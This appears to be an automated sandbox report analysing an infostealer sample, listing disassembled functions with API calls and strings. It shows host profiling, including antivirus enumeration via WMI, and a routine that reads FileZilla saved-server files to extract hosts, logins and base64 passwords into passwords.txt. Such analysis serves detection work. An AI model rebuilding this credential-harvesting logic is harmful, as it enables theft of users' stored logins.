Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 685420537-2561087649
Opcode ID: 95d0fe9bf3cf3acebe285d93a7aa7789aeab024a5a90146c6dfc7c47ba54c8a7
Instruction ID: 1046a30708bacd9825b417773caf8fb86f565ca17277848208f4e8df55dde9ec
Opcode Fuzzy Hash: 95d0fe9bf3cf3acebe285d93a7aa7789aeab024a5a90146c6dfc7c47ba54c8a7
Instruction Fuzzy Hash: 3E417D71A41229BBCB19DB99DC45EDFBBBCEF4DB60F108215F515A7280C774AA00CBA0

Function 002FFC30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

GetKeyboardLayoutList.USER32(00000000,00000000,003101E9), ref: 002FFC4D
LocalAlloc.KERNEL32(00000040,00000000), ref: 002FFC5F
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 002FFC69
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 002FFC93

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

LocalFree.KERNEL32(00000000), ref: 002FFD16

Strings

/ , xrefs: 002FFCAB

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 478c341d04fa2f0a2e7c7348ce31d3fabd2334611b9cd834c83f1cf3aed09083
Instruction ID: a6a9095f9e7ce7f250e507c277f0b4ba6f045c80528599fea4d75a4e8c42612f
Opcode Fuzzy Hash: 478c341d04fa2f0a2e7c7348ce31d3fabd2334611b9cd834c83f1cf3aed09083
Instruction Fuzzy Hash: FD21A27152021DBBEB54EBA0DD95EFEB77CEF88780F404134FA0596180DB709955CBA0

Function 002FFBC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFBD1
RtlAllocateHeap.NTDLL(00000000), ref: 002FFBD8
GetTimeZoneInformation.KERNEL32(?), ref: 002FFBE7
wsprintfA.USER32 ref: 002FFC12

Strings

wwww, xrefs: 002FFBF8

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 3317088062-671953474
Opcode ID: 55f00571921764719af5855400606f84d4f61b147230f520fc7534fc8cdb197d
Instruction ID: bc2d47bca01eab719902f2d98ce0bcc9db22d8f9066ce2e185cb9f43f2864494
Opcode Fuzzy Hash: 55f00571921764719af5855400606f84d4f61b147230f520fc7534fc8cdb197d
Instruction Fuzzy Hash: 9BF0A771B0021CABEB2C6B78AC0DEAA7B6DAF56311F044365FD0ADA2D0DB7059194AD1

Function 00301400 Relevance: 7.6, APIs: 5, Instructions: 53processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00301439
Process32First.KERNEL32(00000000,00000128), ref: 00301449
Process32Next.KERNEL32(00000000,00000128), ref: 0030145B
StrCmpCA.SHLWAPI(?,?), ref: 00301470
CloseHandle.KERNEL32(00000000), ref: 00301482

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 7123be08aa9355e75a893c3a5c3b7591ba6ae00255e23fa45fcea6e59915320b
Instruction ID: 91ca58222d47cd99b00ea4e375274ab5449c202bb6f9df4302517455d2c53312
Opcode Fuzzy Hash: 7123be08aa9355e75a893c3a5c3b7591ba6ae00255e23fa45fcea6e59915320b
Instruction Fuzzy Hash: 0A11E172941218AFD7218F95DC55BEABBBCFF16740F00816AE90593280DB345A09CBE1

Function 002FFAE0 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFAEC
RtlAllocateHeap.NTDLL(00000000), ref: 002FFAF3
GetUserNameA.ADVAPI32(00000000,?), ref: 002FFB07

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 182efa57e970614188f5e8d3de72c58bb1a28fbfea4754da526a0de901452209
Instruction ID: ae50e440eabca8fd9ea1f5e5dcb788726f212f7274afde50d110657100fe3093
Opcode Fuzzy Hash: 182efa57e970614188f5e8d3de72c58bb1a28fbfea4754da526a0de901452209
Instruction Fuzzy Hash: F9D012B1501218BFD7059BE59C0DFDA7B6CEB0D7A1F004191FA05D6240D5F0594087E1

Function 002FFDA0 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 002FFDAD
wsprintfA.USER32 ref: 002FFDC3

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 18651e5d6d6fa9526c004e3d5eb32bc25cdcfb46cba343ca856b305fb1876fb7
Instruction ID: f29f9eb48f0bb2fa7608bf0da877b8d8d6dce17cb4c350f965933be29b9b0843
Opcode Fuzzy Hash: 18651e5d6d6fa9526c004e3d5eb32bc25cdcfb46cba343ca856b305fb1876fb7
Instruction Fuzzy Hash: A5D012B5C0020C97CB10DB90EC859E9B77CEF48300F004795EF05A2140E775AA5D8AE5

Function 00535D70 Relevance: 2.4, APIs: 1, Instructions: 887memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(-00001000,00001000,00000004,?,00000000), ref: 00536918

Memory Dump Source

Source File: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 14cdbcb8150df80f339bc14e73528d37b26d4ba51bee5190abc436dde297e0c5
Instruction ID: 8112a5f7ab8fd2dc7ea47b9563927cef793f1c207ad5fd9161472bd83e1f80c0
Opcode Fuzzy Hash: 14cdbcb8150df80f339bc14e73528d37b26d4ba51bee5190abc436dde297e0c5
Instruction Fuzzy Hash: AA72BB316083559FD724CF28C88466ABBF1FF89384F158A2DE9A5CB351E371D949CB82

Function 002FB9A0 Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 335
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 00300D50: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF850: lstrcpy.KERNEL32(00000000), ref: 002FF878

Part of subcall function 002F6C20: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000,?,002F1916,?), ref: 002F6C3F
Part of subcall function 002F6C20: GetFileSizeEx.KERNEL32(00000000,?,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6C55
Part of subcall function 002F6C20: LocalAlloc.KERNEL32(00000040,?,?,?,002F1916,?), ref: 002F6C70
Part of subcall function 002F6C20: ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,002F1916,?), ref: 002F6C89
Part of subcall function 002F6C20: CloseHandle.KERNEL32(00000000,?,002F1916,?,?,?,?,?,?,?,?,?,?,?,003101E9), ref: 002F6CB1

Part of subcall function 00300DA0: LocalAlloc.KERNEL32(00000040,002F87D9,?,?,?,?,002F87D8,00000000,00000000), ref: 00300DBC

strtok_s.MSVCRT ref: 002FBA5E
GetProcessHeap.KERNEL32(00000000,000F423F,003101E9,003101E9,003101E9,003101E9), ref: 002FBAA3
RtlAllocateHeap.NTDLL(00000000), ref: 002FBAAA
StrStrA.SHLWAPI(00000000,<Host>), ref: 002FBAC6
lstrlen.KERNEL32(00000000), ref: 002FBAD1

Part of subcall function 00301200: malloc.MSVCRT ref: 00301209
Part of subcall function 00301200: strncpy.MSVCRT ref: 00301219

StrStrA.SHLWAPI(00000000,<Port>), ref: 002FBB01
lstrlen.KERNEL32(00000000), ref: 002FBB0C
StrStrA.SHLWAPI(00000000,<User>), ref: 002FBB42
lstrlen.KERNEL32(00000000), ref: 002FBB4D
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 002FBB7D
lstrlen.KERNEL32(00000000), ref: 002FBB88
lstrlen.KERNEL32(00000000), ref: 002FBC06
lstrlen.KERNEL32(00000000), ref: 002FBC1E
lstrlen.KERNEL32(00000000), ref: 002FBC36
lstrlen.KERNEL32(00000000), ref: 002FBC4E
lstrcat.KERNEL32(00000000,Soft: FileZilla), ref: 002FBC63
lstrcat.KERNEL32(00000000,Host: ), ref: 002FBC6F
lstrcat.KERNEL32(00000000,00000000), ref: 002FBC7F
lstrcat.KERNEL32(00000000,00313454), ref: 002FBC8B
lstrcat.KERNEL32(00000000,00000000), ref: 002FBC9B
lstrcat.KERNEL32(00000000,00313408), ref: 002FBCA7
lstrcat.KERNEL32(00000000,Login: ), ref: 002FBCB3
lstrcat.KERNEL32(00000000,00000000), ref: 002FBCC3
lstrcat.KERNEL32(00000000,00313408), ref: 002FBCCF
lstrcat.KERNEL32(00000000,Password: ), ref: 002FBCDB
lstrcat.KERNEL32(00000000,00000000), ref: 002FBCEB
lstrcat.KERNEL32(00000000,00313408), ref: 002FBCF7
lstrcat.KERNEL32(00000000,00313408), ref: 002FBD03

Part of subcall function 002FF8A0: lstrlen.KERNEL32(002F5B05,00000000,?,?,002F5B05,003101E9), ref: 002FF8AB
Part of subcall function 002FF8A0: lstrcpy.KERNEL32(00000000,002F5B05), ref: 002FF8E2

strtok_s.MSVCRT ref: 002FBD47
lstrlen.KERNEL32(00000000), ref: 002FBD5A

Strings

<User>, xrefs: 002FBB3C
passwords.txt, xrefs: 002FBD67
<Port>, xrefs: 002FBAFB
Password: , xrefs: 002FBCD5
<Pass encoding="base64">, xrefs: 002FBB77
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 002FB9F5
Host: , xrefs: 002FBC69
Soft: FileZilla, xrefs: 002FBC5D
<Host>, xrefs: 002FBAC0
Login: , xrefs: 002FBCAD

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$File$AllocHeapLocalstrtok_s$AllocateCloseCreateFolderHandlePathProcessReadSizemallocstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 2446915026-935134978
Opcode ID: 9f9fb75a9a4368811760b3f5a3355f488cd8e781ecb1925d90a18ce818bb6dfd
Instruction ID: e9361d88f377b4c2d4c0e043860e9984da993fd959c0aecaff02e47b5878780c
Opcode Fuzzy Hash: 9f9fb75a9a4368811760b3f5a3355f488cd8e781ecb1925d90a18ce818bb6dfd
Instruction Fuzzy Hash: 34B1757192010D7ADB55FBA0DE56DFEB77CEF25780F444034F602A1192EF206A69CE61

Function 002F45D0 Relevance: 60.2, APIs: 26, Strings: 8, Instructions: 696
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

